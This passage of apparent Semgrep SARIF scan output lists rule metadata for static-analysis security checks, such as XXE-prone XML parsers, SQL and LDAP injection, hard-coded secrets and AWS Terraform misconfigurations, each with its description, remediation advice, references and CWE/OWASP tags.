functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","id":"scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","name":"scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes."},"help":{"markdown":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attributes.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attributes.rb)\n","text":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","id":"ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","name":"ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted."},"help":{"markdown":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.uri.http-url.http-url)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.uri.http-url.http-url","id":"cpp.lang.security.uri.http-url.http-url","name":"cpp.lang.security.uri.http-url.http-url","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.uri.http-url.http-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","id":"kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","name":"kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","id":"java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","name":"java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve)\n","text":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","id":"python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","name":"python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","id":"terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","name":"terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","id":"python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","name":"python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts."},"help":{"markdown":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active)\n - [https://cwe.mitre.org/data/definitions/778.html](https://cwe.mitre.org/data/definitions/778.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_function#mode](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_function#mode)\n - [https://docs.aws.amazon.com/lambda/latest/dg/services-xray.html](https://docs.aws.amazon.com/lambda/latest/dg/services-xray.html)\n","text":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","id":"terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","name":"terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","MEDIUM CONFIDENCE","OWASP-A09:2021 Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","id":"kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","name":"kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument."},"help":{"markdown":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to)\n - [https://brakemanscanner.org/docs/warning_types/link_to/](https://brakemanscanner.org/docs/warning_types/link_to/)\n - [https://brakemanscanner.org/docs/warning_types/link_to_href/](https://brakemanscanner.org/docs/warning_types/link_to_href/)\n","text":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","id":"ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","name":"ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","id":"ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","name":"ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'."},"help":{"markdown":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode)\n","text":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","id":"ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","name":"ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","id":"java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","name":"java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE."},"help":{"markdown":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository#image_tag_mutability](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository#image_tag_mutability)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n","text":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to 